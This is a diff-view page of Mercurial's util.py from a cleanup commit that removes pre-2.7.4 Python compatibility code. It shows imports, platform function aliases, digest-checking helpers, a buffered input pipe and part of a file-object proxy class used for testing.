##// END OF EJS Templates
cleanup: remove compatibility code for Python < 2.7.4...
Manuel Jacob -
r45404:3aed7d26 default
parent child Browse files
Show More
@@ -1,3628 +1,3596 b''
1 # util.py - Mercurial utility functions and platform specific implementations
1 # util.py - Mercurial utility functions and platform specific implementations
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 #
6 #
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 """Mercurial utility functions and platform specific implementations.
11
11
12 This contains helper routines that are independent of the SCM core and
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
13 hide platform-specific details from the core.
14 """
14 """
15
15
16 from __future__ import absolute_import, print_function
16 from __future__ import absolute_import, print_function
17
17
18 import abc
18 import abc
19 import collections
19 import collections
20 import contextlib
20 import contextlib
21 import errno
21 import errno
22 import gc
22 import gc
23 import hashlib
23 import hashlib
24 import itertools
24 import itertools
25 import mmap
25 import mmap
26 import os
26 import os
27 import platform as pyplatform
27 import platform as pyplatform
28 import re as remod
28 import re as remod
29 import shutil
29 import shutil
30 import socket
30 import socket
31 import stat
31 import stat
32 import sys
32 import sys
33 import time
33 import time
34 import traceback
34 import traceback
35 import warnings
35 import warnings
36
36
37 from .thirdparty import attr
37 from .thirdparty import attr
38 from .pycompat import (
38 from .pycompat import (
39 delattr,
39 delattr,
40 getattr,
40 getattr,
41 open,
41 open,
42 setattr,
42 setattr,
43 )
43 )
44 from hgdemandimport import tracing
44 from hgdemandimport import tracing
45 from . import (
45 from . import (
46 encoding,
46 encoding,
47 error,
47 error,
48 i18n,
48 i18n,
49 node as nodemod,
49 node as nodemod,
50 policy,
50 policy,
51 pycompat,
51 pycompat,
52 urllibcompat,
52 urllibcompat,
53 )
53 )
54 from .utils import (
54 from .utils import (
55 compression,
55 compression,
56 hashutil,
56 hashutil,
57 procutil,
57 procutil,
58 stringutil,
58 stringutil,
59 )
59 )
60
60
61 base85 = policy.importmod('base85')
61 base85 = policy.importmod('base85')
62 osutil = policy.importmod('osutil')
62 osutil = policy.importmod('osutil')
63
63
64 b85decode = base85.b85decode
64 b85decode = base85.b85decode
65 b85encode = base85.b85encode
65 b85encode = base85.b85encode
66
66
67 cookielib = pycompat.cookielib
67 cookielib = pycompat.cookielib
68 httplib = pycompat.httplib
68 httplib = pycompat.httplib
69 pickle = pycompat.pickle
69 pickle = pycompat.pickle
70 safehasattr = pycompat.safehasattr
70 safehasattr = pycompat.safehasattr
71 socketserver = pycompat.socketserver
71 socketserver = pycompat.socketserver
72 bytesio = pycompat.bytesio
72 bytesio = pycompat.bytesio
73 # TODO deprecate stringio name, as it is a lie on Python 3.
73 # TODO deprecate stringio name, as it is a lie on Python 3.
74 stringio = bytesio
74 stringio = bytesio
75 xmlrpclib = pycompat.xmlrpclib
75 xmlrpclib = pycompat.xmlrpclib
76
76
77 httpserver = urllibcompat.httpserver
77 httpserver = urllibcompat.httpserver
78 urlerr = urllibcompat.urlerr
78 urlerr = urllibcompat.urlerr
79 urlreq = urllibcompat.urlreq
79 urlreq = urllibcompat.urlreq
80
80
81 # workaround for win32mbcs
81 # workaround for win32mbcs
82 _filenamebytestr = pycompat.bytestr
82 _filenamebytestr = pycompat.bytestr
83
83
84 if pycompat.iswindows:
84 if pycompat.iswindows:
85 from . import windows as platform
85 from . import windows as platform
86 else:
86 else:
87 from . import posix as platform
87 from . import posix as platform
88
88
89 _ = i18n._
89 _ = i18n._
90
90
91 bindunixsocket = platform.bindunixsocket
91 bindunixsocket = platform.bindunixsocket
92 cachestat = platform.cachestat
92 cachestat = platform.cachestat
93 checkexec = platform.checkexec
93 checkexec = platform.checkexec
94 checklink = platform.checklink
94 checklink = platform.checklink
95 copymode = platform.copymode
95 copymode = platform.copymode
96 expandglobs = platform.expandglobs
96 expandglobs = platform.expandglobs
97 getfsmountpoint = platform.getfsmountpoint
97 getfsmountpoint = platform.getfsmountpoint
98 getfstype = platform.getfstype
98 getfstype = platform.getfstype
99 groupmembers = platform.groupmembers
99 groupmembers = platform.groupmembers
100 groupname = platform.groupname
100 groupname = platform.groupname
101 isexec = platform.isexec
101 isexec = platform.isexec
102 isowner = platform.isowner
102 isowner = platform.isowner
103 listdir = osutil.listdir
103 listdir = osutil.listdir
104 localpath = platform.localpath
104 localpath = platform.localpath
105 lookupreg = platform.lookupreg
105 lookupreg = platform.lookupreg
106 makedir = platform.makedir
106 makedir = platform.makedir
107 nlinks = platform.nlinks
107 nlinks = platform.nlinks
108 normpath = platform.normpath
108 normpath = platform.normpath
109 normcase = platform.normcase
109 normcase = platform.normcase
110 normcasespec = platform.normcasespec
110 normcasespec = platform.normcasespec
111 normcasefallback = platform.normcasefallback
111 normcasefallback = platform.normcasefallback
112 openhardlinks = platform.openhardlinks
112 openhardlinks = platform.openhardlinks
113 oslink = platform.oslink
113 oslink = platform.oslink
114 parsepatchoutput = platform.parsepatchoutput
114 parsepatchoutput = platform.parsepatchoutput
115 pconvert = platform.pconvert
115 pconvert = platform.pconvert
116 poll = platform.poll
116 poll = platform.poll
117 posixfile = platform.posixfile
117 posixfile = platform.posixfile
118 readlink = platform.readlink
118 readlink = platform.readlink
119 rename = platform.rename
119 rename = platform.rename
120 removedirs = platform.removedirs
120 removedirs = platform.removedirs
121 samedevice = platform.samedevice
121 samedevice = platform.samedevice
122 samefile = platform.samefile
122 samefile = platform.samefile
123 samestat = platform.samestat
123 samestat = platform.samestat
124 setflags = platform.setflags
124 setflags = platform.setflags
125 split = platform.split
125 split = platform.split
126 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
126 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
127 statisexec = platform.statisexec
127 statisexec = platform.statisexec
128 statislink = platform.statislink
128 statislink = platform.statislink
129 umask = platform.umask
129 umask = platform.umask
130 unlink = platform.unlink
130 unlink = platform.unlink
131 username = platform.username
131 username = platform.username
132
132
133
133
134 def setumask(val):
134 def setumask(val):
135 ''' updates the umask. used by chg server '''
135 ''' updates the umask. used by chg server '''
136 if pycompat.iswindows:
136 if pycompat.iswindows:
137 return
137 return
138 os.umask(val)
138 os.umask(val)
139 global umask
139 global umask
140 platform.umask = umask = val & 0o777
140 platform.umask = umask = val & 0o777
141
141
142
142
143 # small compat layer
143 # small compat layer
144 compengines = compression.compengines
144 compengines = compression.compengines
145 SERVERROLE = compression.SERVERROLE
145 SERVERROLE = compression.SERVERROLE
146 CLIENTROLE = compression.CLIENTROLE
146 CLIENTROLE = compression.CLIENTROLE
147
147
148 try:
148 try:
149 recvfds = osutil.recvfds
149 recvfds = osutil.recvfds
150 except AttributeError:
150 except AttributeError:
151 pass
151 pass
152
152
153 # Python compatibility
153 # Python compatibility
154
154
155 _notset = object()
155 _notset = object()
156
156
157
157
158 def bitsfrom(container):
158 def bitsfrom(container):
159 bits = 0
159 bits = 0
160 for bit in container:
160 for bit in container:
161 bits |= bit
161 bits |= bit
162 return bits
162 return bits
163
163
164
164
165 # python 2.6 still have deprecation warning enabled by default. We do not want
165 # python 2.6 still have deprecation warning enabled by default. We do not want
166 # to display anything to standard user so detect if we are running test and
166 # to display anything to standard user so detect if we are running test and
167 # only use python deprecation warning in this case.
167 # only use python deprecation warning in this case.
168 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
168 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
169 if _dowarn:
169 if _dowarn:
170 # explicitly unfilter our warning for python 2.7
170 # explicitly unfilter our warning for python 2.7
171 #
171 #
172 # The option of setting PYTHONWARNINGS in the test runner was investigated.
172 # The option of setting PYTHONWARNINGS in the test runner was investigated.
173 # However, module name set through PYTHONWARNINGS was exactly matched, so
173 # However, module name set through PYTHONWARNINGS was exactly matched, so
174 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
174 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
175 # makes the whole PYTHONWARNINGS thing useless for our usecase.
175 # makes the whole PYTHONWARNINGS thing useless for our usecase.
176 warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial')
176 warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial')
177 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext')
177 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext')
178 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd')
178 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd')
179 if _dowarn and pycompat.ispy3:
179 if _dowarn and pycompat.ispy3:
180 # silence warning emitted by passing user string to re.sub()
180 # silence warning emitted by passing user string to re.sub()
181 warnings.filterwarnings(
181 warnings.filterwarnings(
182 'ignore', 'bad escape', DeprecationWarning, 'mercurial'
182 'ignore', 'bad escape', DeprecationWarning, 'mercurial'
183 )
183 )
184 warnings.filterwarnings(
184 warnings.filterwarnings(
185 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial'
185 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial'
186 )
186 )
187 # TODO: reinvent imp.is_frozen()
187 # TODO: reinvent imp.is_frozen()
188 warnings.filterwarnings(
188 warnings.filterwarnings(
189 'ignore',
189 'ignore',
190 'the imp module is deprecated',
190 'the imp module is deprecated',
191 DeprecationWarning,
191 DeprecationWarning,
192 'mercurial',
192 'mercurial',
193 )
193 )
194
194
195
195
196 def nouideprecwarn(msg, version, stacklevel=1):
196 def nouideprecwarn(msg, version, stacklevel=1):
197 """Issue an python native deprecation warning
197 """Issue an python native deprecation warning
198
198
199 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
199 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
200 """
200 """
201 if _dowarn:
201 if _dowarn:
202 msg += (
202 msg += (
203 b"\n(compatibility will be dropped after Mercurial-%s,"
203 b"\n(compatibility will be dropped after Mercurial-%s,"
204 b" update your code.)"
204 b" update your code.)"
205 ) % version
205 ) % version
206 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
206 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
207
207
208
208
209 DIGESTS = {
209 DIGESTS = {
210 b'md5': hashlib.md5,
210 b'md5': hashlib.md5,
211 b'sha1': hashutil.sha1,
211 b'sha1': hashutil.sha1,
212 b'sha512': hashlib.sha512,
212 b'sha512': hashlib.sha512,
213 }
213 }
214 # List of digest types from strongest to weakest
214 # List of digest types from strongest to weakest
215 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
215 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
216
216
217 for k in DIGESTS_BY_STRENGTH:
217 for k in DIGESTS_BY_STRENGTH:
218 assert k in DIGESTS
218 assert k in DIGESTS
219
219
220
220
221 class digester(object):
221 class digester(object):
222 """helper to compute digests.
222 """helper to compute digests.
223
223
224 This helper can be used to compute one or more digests given their name.
224 This helper can be used to compute one or more digests given their name.
225
225
226 >>> d = digester([b'md5', b'sha1'])
226 >>> d = digester([b'md5', b'sha1'])
227 >>> d.update(b'foo')
227 >>> d.update(b'foo')
228 >>> [k for k in sorted(d)]
228 >>> [k for k in sorted(d)]
229 ['md5', 'sha1']
229 ['md5', 'sha1']
230 >>> d[b'md5']
230 >>> d[b'md5']
231 'acbd18db4cc2f85cedef654fccc4a4d8'
231 'acbd18db4cc2f85cedef654fccc4a4d8'
232 >>> d[b'sha1']
232 >>> d[b'sha1']
233 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
233 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
234 >>> digester.preferred([b'md5', b'sha1'])
234 >>> digester.preferred([b'md5', b'sha1'])
235 'sha1'
235 'sha1'
236 """
236 """
237
237
238 def __init__(self, digests, s=b''):
238 def __init__(self, digests, s=b''):
239 self._hashes = {}
239 self._hashes = {}
240 for k in digests:
240 for k in digests:
241 if k not in DIGESTS:
241 if k not in DIGESTS:
242 raise error.Abort(_(b'unknown digest type: %s') % k)
242 raise error.Abort(_(b'unknown digest type: %s') % k)
243 self._hashes[k] = DIGESTS[k]()
243 self._hashes[k] = DIGESTS[k]()
244 if s:
244 if s:
245 self.update(s)
245 self.update(s)
246
246
247 def update(self, data):
247 def update(self, data):
248 for h in self._hashes.values():
248 for h in self._hashes.values():
249 h.update(data)
249 h.update(data)
250
250
251 def __getitem__(self, key):
251 def __getitem__(self, key):
252 if key not in DIGESTS:
252 if key not in DIGESTS:
253 raise error.Abort(_(b'unknown digest type: %s') % k)
253 raise error.Abort(_(b'unknown digest type: %s') % k)
254 return nodemod.hex(self._hashes[key].digest())
254 return nodemod.hex(self._hashes[key].digest())
255
255
256 def __iter__(self):
256 def __iter__(self):
257 return iter(self._hashes)
257 return iter(self._hashes)
258
258
259 @staticmethod
259 @staticmethod
260 def preferred(supported):
260 def preferred(supported):
261 """returns the strongest digest type in both supported and DIGESTS."""
261 """returns the strongest digest type in both supported and DIGESTS."""
262
262
263 for k in DIGESTS_BY_STRENGTH:
263 for k in DIGESTS_BY_STRENGTH:
264 if k in supported:
264 if k in supported:
265 return k
265 return k
266 return None
266 return None
267
267
268
268
269 class digestchecker(object):
269 class digestchecker(object):
270 """file handle wrapper that additionally checks content against a given
270 """file handle wrapper that additionally checks content against a given
271 size and digests.
271 size and digests.
272
272
273 d = digestchecker(fh, size, {'md5': '...'})
273 d = digestchecker(fh, size, {'md5': '...'})
274
274
275 When multiple digests are given, all of them are validated.
275 When multiple digests are given, all of them are validated.
276 """
276 """
277
277
278 def __init__(self, fh, size, digests):
278 def __init__(self, fh, size, digests):
279 self._fh = fh
279 self._fh = fh
280 self._size = size
280 self._size = size
281 self._got = 0
281 self._got = 0
282 self._digests = dict(digests)
282 self._digests = dict(digests)
283 self._digester = digester(self._digests.keys())
283 self._digester = digester(self._digests.keys())
284
284
285 def read(self, length=-1):
285 def read(self, length=-1):
286 content = self._fh.read(length)
286 content = self._fh.read(length)
287 self._digester.update(content)
287 self._digester.update(content)
288 self._got += len(content)
288 self._got += len(content)
289 return content
289 return content
290
290
291 def validate(self):
291 def validate(self):
292 if self._size != self._got:
292 if self._size != self._got:
293 raise error.Abort(
293 raise error.Abort(
294 _(b'size mismatch: expected %d, got %d')
294 _(b'size mismatch: expected %d, got %d')
295 % (self._size, self._got)
295 % (self._size, self._got)
296 )
296 )
297 for k, v in self._digests.items():
297 for k, v in self._digests.items():
298 if v != self._digester[k]:
298 if v != self._digester[k]:
299 # i18n: first parameter is a digest name
299 # i18n: first parameter is a digest name
300 raise error.Abort(
300 raise error.Abort(
301 _(b'%s mismatch: expected %s, got %s')
301 _(b'%s mismatch: expected %s, got %s')
302 % (k, v, self._digester[k])
302 % (k, v, self._digester[k])
303 )
303 )
304
304
305
305
306 try:
306 try:
307 buffer = buffer
307 buffer = buffer
308 except NameError:
308 except NameError:
309
309
310 def buffer(sliceable, offset=0, length=None):
310 def buffer(sliceable, offset=0, length=None):
311 if length is not None:
311 if length is not None:
312 return memoryview(sliceable)[offset : offset + length]
312 return memoryview(sliceable)[offset : offset + length]
313 return memoryview(sliceable)[offset:]
313 return memoryview(sliceable)[offset:]
314
314
315
315
316 _chunksize = 4096
316 _chunksize = 4096
317
317
318
318
319 class bufferedinputpipe(object):
319 class bufferedinputpipe(object):
320 """a manually buffered input pipe
320 """a manually buffered input pipe
321
321
322 Python will not let us use buffered IO and lazy reading with 'polling' at
322 Python will not let us use buffered IO and lazy reading with 'polling' at
323 the same time. We cannot probe the buffer state and select will not detect
323 the same time. We cannot probe the buffer state and select will not detect
324 that data are ready to read if they are already buffered.
324 that data are ready to read if they are already buffered.
325
325
326 This class let us work around that by implementing its own buffering
326 This class let us work around that by implementing its own buffering
327 (allowing efficient readline) while offering a way to know if the buffer is
327 (allowing efficient readline) while offering a way to know if the buffer is
328 empty from the output (allowing collaboration of the buffer with polling).
328 empty from the output (allowing collaboration of the buffer with polling).
329
329
330 This class lives in the 'util' module because it makes use of the 'os'
330 This class lives in the 'util' module because it makes use of the 'os'
331 module from the python stdlib.
331 module from the python stdlib.
332 """
332 """
333
333
334 def __new__(cls, fh):
334 def __new__(cls, fh):
335 # If we receive a fileobjectproxy, we need to use a variation of this
335 # If we receive a fileobjectproxy, we need to use a variation of this
336 # class that notifies observers about activity.
336 # class that notifies observers about activity.
337 if isinstance(fh, fileobjectproxy):
337 if isinstance(fh, fileobjectproxy):
338 cls = observedbufferedinputpipe
338 cls = observedbufferedinputpipe
339
339
340 return super(bufferedinputpipe, cls).__new__(cls)
340 return super(bufferedinputpipe, cls).__new__(cls)
341
341
342 def __init__(self, input):
342 def __init__(self, input):
343 self._input = input
343 self._input = input
344 self._buffer = []
344 self._buffer = []
345 self._eof = False
345 self._eof = False
346 self._lenbuf = 0
346 self._lenbuf = 0
347
347
348 @property
348 @property
349 def hasbuffer(self):
349 def hasbuffer(self):
350 """True is any data is currently buffered
350 """True is any data is currently buffered
351
351
352 This will be used externally a pre-step for polling IO. If there is
352 This will be used externally a pre-step for polling IO. If there is
353 already data then no polling should be set in place."""
353 already data then no polling should be set in place."""
354 return bool(self._buffer)
354 return bool(self._buffer)
355
355
356 @property
356 @property
357 def closed(self):
357 def closed(self):
358 return self._input.closed
358 return self._input.closed
359
359
360 def fileno(self):
360 def fileno(self):
361 return self._input.fileno()
361 return self._input.fileno()
362
362
363 def close(self):
363 def close(self):
364 return self._input.close()
364 return self._input.close()
365
365
366 def read(self, size):
366 def read(self, size):
367 while (not self._eof) and (self._lenbuf < size):
367 while (not self._eof) and (self._lenbuf < size):
368 self._fillbuffer()
368 self._fillbuffer()
369 return self._frombuffer(size)
369 return self._frombuffer(size)
370
370
371 def unbufferedread(self, size):
371 def unbufferedread(self, size):
372 if not self._eof and self._lenbuf == 0:
372 if not self._eof and self._lenbuf == 0:
373 self._fillbuffer(max(size, _chunksize))
373 self._fillbuffer(max(size, _chunksize))
374 return self._frombuffer(min(self._lenbuf, size))
374 return self._frombuffer(min(self._lenbuf, size))
375
375
376 def readline(self, *args, **kwargs):
376 def readline(self, *args, **kwargs):
377 if len(self._buffer) > 1:
377 if len(self._buffer) > 1:
378 # this should not happen because both read and readline end with a
378 # this should not happen because both read and readline end with a
379 # _frombuffer call that collapse it.
379 # _frombuffer call that collapse it.
380 self._buffer = [b''.join(self._buffer)]
380 self._buffer = [b''.join(self._buffer)]
381 self._lenbuf = len(self._buffer[0])
381 self._lenbuf = len(self._buffer[0])
382 lfi = -1
382 lfi = -1
383 if self._buffer:
383 if self._buffer:
384 lfi = self._buffer[-1].find(b'\n')
384 lfi = self._buffer[-1].find(b'\n')
385 while (not self._eof) and lfi < 0:
385 while (not self._eof) and lfi < 0:
386 self._fillbuffer()
386 self._fillbuffer()
387 if self._buffer:
387 if self._buffer:
388 lfi = self._buffer[-1].find(b'\n')
388 lfi = self._buffer[-1].find(b'\n')
389 size = lfi + 1
389 size = lfi + 1
390 if lfi < 0: # end of file
390 if lfi < 0: # end of file
391 size = self._lenbuf
391 size = self._lenbuf
392 elif len(self._buffer) > 1:
392 elif len(self._buffer) > 1:
393 # we need to take previous chunks into account
393 # we need to take previous chunks into account
394 size += self._lenbuf - len(self._buffer[-1])
394 size += self._lenbuf - len(self._buffer[-1])
395 return self._frombuffer(size)
395 return self._frombuffer(size)
396
396
397 def _frombuffer(self, size):
397 def _frombuffer(self, size):
398 """return at most 'size' data from the buffer
398 """return at most 'size' data from the buffer
399
399
400 The data are removed from the buffer."""
400 The data are removed from the buffer."""
401 if size == 0 or not self._buffer:
401 if size == 0 or not self._buffer:
402 return b''
402 return b''
403 buf = self._buffer[0]
403 buf = self._buffer[0]
404 if len(self._buffer) > 1:
404 if len(self._buffer) > 1:
405 buf = b''.join(self._buffer)
405 buf = b''.join(self._buffer)
406
406
407 data = buf[:size]
407 data = buf[:size]
408 buf = buf[len(data) :]
408 buf = buf[len(data) :]
409 if buf:
409 if buf:
410 self._buffer = [buf]
410 self._buffer = [buf]
411 self._lenbuf = len(buf)
411 self._lenbuf = len(buf)
412 else:
412 else:
413 self._buffer = []
413 self._buffer = []
414 self._lenbuf = 0
414 self._lenbuf = 0
415 return data
415 return data
416
416
417 def _fillbuffer(self, size=_chunksize):
417 def _fillbuffer(self, size=_chunksize):
418 """read data to the buffer"""
418 """read data to the buffer"""
419 data = os.read(self._input.fileno(), size)
419 data = os.read(self._input.fileno(), size)
420 if not data:
420 if not data:
421 self._eof = True
421 self._eof = True
422 else:
422 else:
423 self._lenbuf += len(data)
423 self._lenbuf += len(data)
424 self._buffer.append(data)
424 self._buffer.append(data)
425
425
426 return data
426 return data
427
427
428
428
429 def mmapread(fp, size=None):
429 def mmapread(fp, size=None):
430 if size == 0:
430 if size == 0:
431 # size of 0 to mmap.mmap() means "all data"
431 # size of 0 to mmap.mmap() means "all data"
432 # rather than "zero bytes", so special case that.
432 # rather than "zero bytes", so special case that.
433 return b''
433 return b''
434 elif size is None:
434 elif size is None:
435 size = 0
435 size = 0
436 try:
436 try:
437 fd = getattr(fp, 'fileno', lambda: fp)()
437 fd = getattr(fp, 'fileno', lambda: fp)()
438 return mmap.mmap(fd, size, access=mmap.ACCESS_READ)
438 return mmap.mmap(fd, size, access=mmap.ACCESS_READ)
439 except ValueError:
439 except ValueError:
440 # Empty files cannot be mmapped, but mmapread should still work. Check
440 # Empty files cannot be mmapped, but mmapread should still work. Check
441 # if the file is empty, and if so, return an empty buffer.
441 # if the file is empty, and if so, return an empty buffer.
442 if os.fstat(fd).st_size == 0:
442 if os.fstat(fd).st_size == 0:
443 return b''
443 return b''
444 raise
444 raise
445
445
446
446
447 class fileobjectproxy(object):
447 class fileobjectproxy(object):
448 """A proxy around file objects that tells a watcher when events occur.
448 """A proxy around file objects that tells a watcher when events occur.
449
449
450 This type is intended to only be used for testing purposes. Think hard
450 This type is intended to only be used for testing purposes. Think hard
451 before using it in important code.
451 before using it in important code.
452 """
452 """
453
453
454 __slots__ = (
454 __slots__ = (
455 '_orig',
455 '_orig',
456 '_observer',
456 '_observer',
457 )
457 )
458
458
459 def __init__(self, fh, observer):
459 def __init__(self, fh, observer):
460 object.__setattr__(self, '_orig', fh)
460 object.__setattr__(self, '_orig', fh)
461 object.__setattr__(self, '_observer', observer)
461 object.__setattr__(self, '_observer', observer)
462
462
463 def __getattribute__(self, name):
463 def __getattribute__(self, name):
464 ours = {
464 ours = {
465 '_observer',
465 '_observer',
466 # IOBase
466 # IOBase
467 'close',
467 'close',
468 # closed if a property
468 # closed if a property
469 'fileno',
469 'fileno',
470 'flush',
470 'flush',
471 'isatty',
471 'isatty',
472 'readable',
472 'readable',
473 'readline',
473 'readline',
474 'readlines',
474 'readlines',
475 'seek',
475 'seek',
476 'seekable',
476 'seekable',
477 'tell',
477 'tell',
478 'truncate',
478 'truncate',
479 'writable',
479 'writable',
480 'writelines',
480 'writelines',
481 # RawIOBase
481 # RawIOBase
482 'read',
482 'read',
483 'readall',
483 'readall',
484 'readinto',
484 'readinto',
485 'write',
485 'write',
486 # BufferedIOBase
486 # BufferedIOBase
487 # raw is a property
487 # raw is a property
488 'detach',
488 'detach',
489 # read defined above
489 # read defined above
490 'read1',
490 'read1',
491 # readinto defined above
491 # readinto defined above
492 # write defined above
492 # write defined above
493 }
493 }
494
494
495 # We only observe some methods.
495 # We only observe some methods.
496 if name in ours:
496 if name in ours:
497 return object.__getattribute__(self, name)
497 return object.__getattribute__(self, name)
498
498
499 return getattr(object.__getattribute__(self, '_orig'), name)
499 return getattr(object.__getattribute__(self, '_orig'), name)
500
500
501 def __nonzero__(self):
501 def __nonzero__(self):
502 return bool(object.__getattribute__(self, '_orig'))
502 return bool(object.__getattribute__(self, '_orig'))
503
503
504 __bool__ = __nonzero__
504 __bool__ = __nonzero__
505
505
506 def __delattr__(self, name):
506 def __delattr__(self, name):
507 return delattr(object.__getattribute__(self, '_orig'), name)
507 return delattr(object.__getattribute__(self, '_orig'), name)
508
508
509 def __setattr__(self, name, value):
509 def __setattr__(self, name, value):
510 return setattr(object.__getattribute__(self, '_orig'), name, value)
510 return setattr(object.__getattribute__(self, '_orig'), name, value)
511
511
512 def __iter__(self):
512 def __iter__(self):
513 return object.__getattribute__(self, '_orig').__iter__()
513 return object.__getattribute__(self, '_orig').__iter__()
514
514
515 def _observedcall(self, name, *args, **kwargs):
515 def _observedcall(self, name, *args, **kwargs):
516 # Call the original object.
516 # Call the original object.
517 orig = object.__getattribute__(self, '_orig')
517 orig = object.__getattribute__(self, '_orig')
518 res = getattr(orig, name)(*args, **kwargs)
518 res = getattr(orig, name)(*args, **kwargs)
519
519
520 # Call a method on the observer of the same name with arguments
520 # Call a method on the observer of the same name with arguments
521 # so it can react, log, etc.
521 # so it can react, log, etc.
522 observer = object.__getattribute__(self, '_observer')
522 observer = object.__getattribute__(self, '_observer')
523 fn = getattr(observer, name, None)
523 fn = getattr(observer, name, None)
524 if fn:
524 if fn:
525 fn(res, *args, **kwargs)
525 fn(res, *args, **kwargs)
526
526
527 return res
527 return res
528
528
529 def close(self, *args, **kwargs):
529 def close(self, *args, **kwargs):
530 return object.__getattribute__(self, '_observedcall')(
530 return object.__getattribute__(self, '_observedcall')(
531 'close', *args, **kwargs
531 'close', *args, **kwargs
532 )
532 )
533
533
534 def fileno(self, *args, **kwargs):
534 def fileno(self, *args, **kwargs):
535 return object.__getattribute__(self, '_observedcall')(
535 return object.__getattribute__(self, '_observedcall')(
536 'fileno', *args, **kwargs
536 'fileno', *args, **kwargs
537 )
537 )
538
538
539 def flush(self, *args, **kwargs):
539 def flush(self, *args, **kwargs):
540 return object.__getattribute__(self, '_observedcall')(
540 return object.__getattribute__(self, '_observedcall')(
541 'flush', *args, **kwargs
541 'flush', *args, **kwargs
542 )
542 )
543
543
544 def isatty(self, *args, **kwargs):
544 def isatty(self, *args, **kwargs):
545 return object.__getattribute__(self, '_observedcall')(
545 return object.__getattribute__(self, '_observedcall')(
546 'isatty', *args, **kwargs
546 'isatty', *args, **kwargs
547 )
547 )
548
548
549 def readable(self, *args, **kwargs):
549 def readable(self, *args, **kwargs):
550 return object.__getattribute__(self, '_observedcall')(
550 return object.__getattribute__(self, '_observedcall')(
551 'readable', *args, **kwargs
551 'readable', *args, **kwargs
552 )
552 )
553
553
554 def readline(self, *args, **kwargs):
554 def readline(self, *args, **kwargs):
555 return object.__getattribute__(self, '_observedcall')(
555 return object.__getattribute__(self, '_observedcall')(
556 'readline', *args, **kwargs
556 'readline', *args, **kwargs
557 )
557 )
558
558
559 def readlines(self, *args, **kwargs):
559 def readlines(self, *args, **kwargs):
560 return object.__getattribute__(self, '_observedcall')(
560 return object.__getattribute__(self, '_observedcall')(
561 'readlines', *args, **kwargs
561 'readlines', *args, **kwargs
562 )
562 )
563
563
564 def seek(self, *args, **kwargs):
564 def seek(self, *args, **kwargs):
565 return object.__getattribute__(self, '_observedcall')(
565 return object.__getattribute__(self, '_observedcall')(
566 'seek', *args, **kwargs
566 'seek', *args, **kwargs
567 )
567 )
568
568
569 def seekable(self, *args, **kwargs):
569 def seekable(self, *args, **kwargs):
570 return object.__getattribute__(self, '_observedcall')(
570 return object.__getattribute__(self, '_observedcall')(
571 'seekable', *args, **kwargs
571 'seekable', *args, **kwargs
572 )
572 )
573
573
574 def tell(self, *args, **kwargs):
574 def tell(self, *args, **kwargs):
575 return object.__getattribute__(self, '_observedcall')(
575 return object.__getattribute__(self, '_observedcall')(
576 'tell', *args, **kwargs
576 'tell', *args, **kwargs
577 )
577 )
578
578
579 def truncate(self, *args, **kwargs):
579 def truncate(self, *args, **kwargs):
580 return object.__getattribute__(self, '_observedcall')(
580 return object.__getattribute__(self, '_observedcall')(
581 'truncate', *args, **kwargs
581 'truncate', *args, **kwargs
582 )
582 )
583
583
584 def writable(self, *args, **kwargs):
584 def writable(self, *args, **kwargs):
585 return object.__getattribute__(self, '_observedcall')(
585 return object.__getattribute__(self, '_observedcall')(
586 'writable', *args, **kwargs
586 'writable', *args, **kwargs
587 )
587 )
588
588
589 def writelines(self, *args, **kwargs):
589 def writelines(self, *args, **kwargs):
590 return object.__getattribute__(self, '_observedcall')(
590 return object.__getattribute__(self, '_observedcall')(
591 'writelines', *args, **kwargs
591 'writelines', *args, **kwargs
592 )
592 )
593
593
594 def read(self, *args, **kwargs):
594 def read(self, *args, **kwargs):
595 return object.__getattribute__(self, '_observedcall')(
595 return object.__getattribute__(self, '_observedcall')(
596 'read', *args, **kwargs
596 'read', *args, **kwargs
597 )
597 )
598
598
599 def readall(self, *args, **kwargs):
599 def readall(self, *args, **kwargs):
600 return object.__getattribute__(self, '_observedcall')(
600 return object.__getattribute__(self, '_observedcall')(
601 'readall', *args, **kwargs
601 'readall', *args, **kwargs
602 )
602 )
603
603
604 def readinto(self, *args, **kwargs):
604 def readinto(self, *args, **kwargs):
605 return object.__getattribute__(self, '_observedcall')(
605 return object.__getattribute__(self, '_observedcall')(
606 'readinto', *args, **kwargs
606 'readinto', *args, **kwargs
607 )
607 )
608
608
609 def write(self, *args, **kwargs):
609 def write(self, *args, **kwargs):
610 return object.__getattribute__(self, '_observedcall')(
610 return object.__getattribute__(self, '_observedcall')(
611 'write', *args, **kwargs
611 'write', *args, **kwargs
612 )
612 )
613
613
614 def detach(self, *args, **kwargs):
614 def detach(self, *args, **kwargs):
